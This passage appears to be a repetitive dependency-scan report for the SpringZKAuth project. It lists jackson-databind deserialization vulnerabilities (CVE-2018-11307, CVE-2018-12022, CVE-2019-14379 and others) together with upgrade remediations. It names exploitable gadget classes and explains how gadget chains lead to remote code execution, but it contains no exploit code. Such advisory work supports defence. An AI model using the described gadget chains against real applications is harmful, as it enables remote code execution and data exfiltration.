Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.5 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.jsecurity.realm.jndi.JndiRealmFactory.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.5 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It is possible to conduct a Deserialization attack using the oadd.org.apache.xalan.lib.sql.JNDIConnectionPool (apache/drill) class gadget if polymorphic type handling is enabled and an application using this package allows user input which gets deserialized.

Note: This vulnerability does not affect release 2.10.0 onward.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.5 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It is possible to conduct a Deserialization attack using any of the following class gadget available within weblogic/oracle-aqjms if polymorphic type handling is enabled and an application using this package allows user input which gets deserialized.

  • oracle.jms.AQjmsQueueConnectionFactory
  • oracle.jms.AQjmsXATopicConnectionFactory
  • oracle.jms.AQjmsTopicConnectionFactory
  • oracle.jms.AQjmsXAQueueConnectionFactory
  • oracle.jms.AQjmsXAConnectionFactory

Note: This vulnerability does not affect release 2.10.0 onward.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.5 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. SubTypeValidator.java mishandles default typing when ehcache is used, leading to remote code execution.

NOTE: This vulnerability has also been identified as: CVE-2019-14379

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.9.2, 2.8.11.4, 2.7.9.6 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPDataSource (aka Anteros-DBCP).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.6 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@1.0.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.1.8.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform a Remote Code Execution attack, if the user is handling untrusted content or using the Default Typing feature. an incomplete fix for the CVE-2017-7525 deserialization flaw.

Note: This vulnerability (CVE-2018-12022) is not identical to CVE-2018-12018,CVE-2018-12019, CVE-2018-14720, CVE-2018-14721, CVE-2018-14723 and CVE-2018-11307.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.4, 2.8.11.2, 2.9.6 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@1.0.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.1.8.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It may allow content exfiltration (remote access by sending contents over ftp) when untrusted content is deserialized with default typing enabled. This vulnerability is due to an incomplete fix for the CVE-2017-7525 deserialization flaw.

Note: This vulnerability (CVE-2018-11307) is not identical to CVE-2018-12018,CVE-2018-12019, CVE-2018-14720, CVE-2018-14721, CVE-2018-14722 and CVE-2018-14723.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.4, 2.8.11.2, 2.9.5 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@1.0.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.1.8.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform a Remote Code Execution attack, if the user is handling untrusted content or using the Default Typing feature. This vulnerability is due to an incomplete fix for the CVE-2017-7525 deserialization flaw.

Note: This vulnerability (CVE-2018-12023) is not identical to CVE-2018-12018, CVE-2018-12019, CVE-2018-14720, CVE-2018-14721, CVE-2018-14722 and CVE-2018-11307.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.4, 2.8.11.2, 2.9.6 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.0.1.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.2.3.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform a Remote Code Execution attacks via the slf4j-ext gadget due to an incomplete fix for the CVE-2017-7525 deserialization flaw.

Note: This vulnerability (CVE-2018-14718) is not identical to CVE-2018-12019, CVE-2018-14720, CVE-2018-14721, CVE-2018-14722,CVE-2018-12023 and CVE-2018-11307.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.5, 2.8.11.3, 2.9.7 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.0.1.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.2.3.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform an XML External Entity (XXE) Injection via the JDK classes due to an incomplete fix for the CVE-2017-7525 deserialization flaw.

Note: This vulnerability (CVE-2018-14720) is not identical to CVE-2018-12018, CVE-2018-14729, CVE-2018-14721, CVE-2018-14722,CVE-2018-12023 and CVE-2018-11307.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.5, 2.8.11.3, 2.9.7 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.0.1.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.2.3.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform a Remote Code Execution attack via the blaze-ds-opt gadget due to an incomplete fix for the CVE-2017-7525 deserialization flaw.

Note: This vulnerability (CVE-2018-14719) is not identical to CVE-2018-12018, CVE-2018-14720, CVE-2018-14721, CVE-2018-14722,CVE-2018-12023 and CVE-2018-11307.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.5, 2.8.11.3, 2.9.7 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

